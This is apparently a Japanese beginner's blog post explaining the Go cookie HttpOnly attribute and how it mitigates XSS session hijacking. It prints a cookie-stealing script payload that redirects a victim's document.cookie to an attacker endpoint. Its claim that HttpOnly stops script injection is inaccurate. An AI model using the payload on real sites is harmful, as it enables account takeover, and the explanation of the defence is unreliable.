はじめに
Goで初めてのアプリを作っているときにCookieのセッティングでHttpOnly属性を書いていました。セキュリティ上で必要なものということをざっくりと知っていただけで具体的にどのような役割を果たしているのか知らなかったので今回調べてみました!
Cookieに値を入れているときに書く必要があったHttpOnly
cookie := http.Cookie{
Name: "Kennie",
Value: "1234",
Path: "/",
HttpOnly: true,
}
以下に記載する内容は以下の動画を参考にしています。
https://www.youtube.com/watch?v=IGWKIRamjs0
1. HTTPOnly属性とは?
HTTPOnly属性は、ウェブブラウザに設定されるクッキーの属性の1つで、JavaScriptからアクセスできないようにするものです。クッキーはJavaScriptからもアクセス可能であり、これを利用して悪意のあるスクリプトがクッキーを盗み取ることがあります。HttpOnly属性を設定すると、JavaScriptからクッキーにアクセスできなくなり、セッションハイジャッキングの内のクロスサイトスクリプティングを緩和するのに役立ちます。
2. セッションハイジャッキングとは
セッションハイジャッキングとは、インターネットセッションを乗っ取る攻撃手法のことです。攻撃者が他の人のセッションを盗み取り、そのセッションを使用して他の人のアカウントにアクセスすることです。
例えばAさんがメールに送られてきたURLを押してしまったとき、AさんのアカウントのCookieの情報がサーバーへと送られます。その際にセッションが傍受され、違う人でもセッションを持っていればAさんのアカウントへとアクセスできてしまいます。
①.エンドポイントの生成
HTTPリクエストを受信するためのURLを生成。
②. URLの編集
URLにdocument.cookieなどのようなJavaScriptのコードを挿入。
<script>window.location = '生成したエンドポイントのURL' + document.cookie;</script>
③. 他のユーザーにURLを押させる
②で生成したURLを押させることでクライアントからサーバーへの通信を行うときにセッションIDを取得。
④. セッションを変更
CookieのValue値を受信したセッションIDに変更することによってサーバーから他のユーザーの情報が送られてくる。
3. HttpOnlyで防げること
上記で説明した②の手順は、JavaScriptをURLのパラメーターとして記述しています。このURLがクライアントとサーバー間の通信中にセッションIDを渡してしまうきっかけとなります。そのため、HttpOnly属性を付けることでJavaScriptによるコードの挿入を防ぎます。セッションハイジャッキングのうちのクロスサイトスクリプティングは方法の一つとしてJavascriptのコードを埋め込むことによって盗むことができるので、こちらの方法のセッションハイジャッキングは防ぐことができます。
おわりに
何気なく書いていたHttpOnly属性は、非常に重要な役割を果たしていることを知りました。個人開発の際は、特に規模が大きくなく、ユーザーもいないことからセキュリティ面はあまり気にしていませんでした。しかし、エンジニアとして働くうえで、会社のプロダクトを責任を持って開発していく際は、インシデントをなくすために様々な面でのセキュリティを重視する必要があると感じました。